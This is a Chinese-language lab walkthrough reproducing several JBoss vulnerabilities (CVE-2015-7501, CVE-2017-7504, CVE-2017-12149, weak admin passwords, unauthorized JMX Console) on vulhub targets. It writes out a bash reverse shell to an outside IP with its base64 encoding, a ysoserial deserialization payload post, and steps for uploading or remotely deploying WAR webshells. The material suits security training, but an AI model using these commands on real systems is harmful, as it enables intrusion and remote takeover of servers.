JBOSS中间件漏洞复现
CVE-2015-7501
1.开启环境
cd vulhub/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
docker ps
2.访问靶场
3.访问/invoker/JMXInvokerServlet目录
4.将反弹shell进⾏base64编码
bash -i >& /dev/tcp/47.121.191.208/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjEuMTkxLjIwOC82NjY2IDA+JjE=
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjEuMTkxLjIwOC82NjY2IDA+JjE=
使用ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
curl 47.121.191.208:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
5.监听6666端口
反弹成功
CVE-2017-7504
1.开启环境
cd vulhub/jboss/CVE-2017-7504
docker-compose up -d
2.访问靶场
3.访问漏洞地址
/jbossmq-httpil/HTTPServerILServlet
4.使用python3 jexboss.py -u http://47.121.191.208:8080进行getshell
CVE-2017-12149
1.开启环境
cd vulhub/jboss/CVE-2017-12149
docker-compose up -d
2.访问靶场
3.验证漏洞是否存在
访问此/invoker/readonly目录
返回500,说明存在漏洞
4.使用工具检测,执行命令
Administration Console弱⼝令
1.开启环境
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
依旧是此环境
2.首先访问密码文件
密码文件
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码:admin:vulhub
3.访问/admin-console/login.seam目录
使用上面的用户名密码进行登录
4.点击web应⽤,上传后⻔ shell.war
5.访问此文件
/shell/shell.jsp
6.测试连接
高版本JMX Console未授权
1.依旧是12149的环境
2.访问/jmx-console/目录
用户名:admin
密码:vulhub
3.在JMX Console⻚⾯点击jboss.system链接,在Jboss.system⻚⾯中点击service=MainDeployer
4.进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址进⾏远程部署
5.输⼊Invoke
http://47.121.191.208/zxin.war
6.访问zxin.jsp
/zxin/zxin.jsp
7.使用哥斯拉进行测试连接
低版本JMX Console未授权
1.开启环境
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
2.访问靶场
3.访问/jmx-console目录
登录
admin admin
4.然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去(通过URL的⽅式远程部署)
5.使用哥斯拉进行测试连接